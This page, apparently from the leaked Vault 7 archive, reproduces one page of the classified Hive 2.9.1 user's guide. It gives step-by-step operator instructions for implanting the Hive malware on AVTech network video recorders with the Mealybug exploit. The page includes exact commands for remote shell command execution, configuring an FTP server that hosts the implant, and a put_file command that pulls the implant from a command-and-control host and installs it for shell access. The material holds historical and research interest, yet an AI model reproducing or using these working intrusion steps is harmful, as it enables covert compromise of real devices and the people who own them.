# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 25
- 26
- 27
- 28
- 29
- 30
- 31

SECRET//NOFORN
(U) Appendix A: Operational Notes (U) Hive 2.9.1 User's Guide
7.2 (S) Installing Hive on AVTech NVRs using Mealybug
(S) NOTE: Executing Mealybug on a 32-bit host may not function properly; a 64-bit host
is recommended.
(S) Installing Hive on AVTech Network Video Recorders requires the use of the Mealybug exploit.
Once installed, Hive will provide the operator with shell access. Without Hive or another suitable
implant, there is no shell access.
(S) Before implanting Hive, Mealybug can be used alone to execute shell commands by using the
following syntax:
python mealybug.py exec_cmd –target <target address> --port<open port> '<shell cmd>'
(S) In most cases, port 80 will be open, as it is typically used for configuring the device by a web
browser. So, to obtain a listing of the /tmp directory and to obtain a process list, the following
commands,would typically be used.
python mealybug.py exec_cmd –target 10.6.5.77 –port 80 'ls -l /tmp'
python mealybug.py exec_cmd –target 10.6.5.77 –port 80 'ps -ef'
(S) To implant Hive, use an FTP server of choice or the one provided by Mealybug to serve-up the
Hive binary. This example uses the supplied PYFTPD.py should be edited as follows. Find the line
authorizer.add_user(<username>, <password>, <path to FTP directory>, perm="elradfmw")
and substitute appropriate values for the username, password, and path location of the Hive binary.
Example:
authorizer.add_user("user", "12345", "/home/jack/Projects/hive/server", perm="elradfmw")
(S) Locate the following line and insert the IP address of the FTP server.
server = FTPServer((<IP address of FTP server>, 21), handler)
(S) Example:
server = FTPServer(("10.6.5.200", 21), handler)
(S) Start the FTP server using this syntax:
./PYFTPD.py <Hive binary filename>
(S) Example:
./PYFTPD.py hived-avtech-arm-PATCHED
(S) Note that to run PYFTPD.py, the FTP ports (20 and 21) must not be in use by another FTP server
(or other application). Also, if the file already exists on the target, it will not be overwritten;
it must be removed first.
(S) Use Mealybug to install Hive using the following syntax:
python mealybug.py put_file --target <target address> --port <target port> \
--portFTP <FTP control port> <command/control address>/<filename of Hive binary> \
<FTP UID> <FTP password>
(S) Use the user name and password of the FTP server (i.e. “user” and “12345” in the above
example). If the target is located at IP address 10.6.5.77 with its administrative web-based GUI
open on port 80, and the command and control host from which Hive is being served-up is at IP
address 10.6.5.200, then the following command will implant Hive:
python mealybug.py put_file --target 10.6.5.77 --port 80 --portFTP 21 \
10.6.5.200/hived-avtech-arm-PATCHED user 12345
(S) Once Hive is installed, use shell commands to make Hive executable and start it.
26 SECRET//NOFORN//20401109

- 1
- 2
…
- 25
- 26
- 27
- 28
- 29
- 30
- 31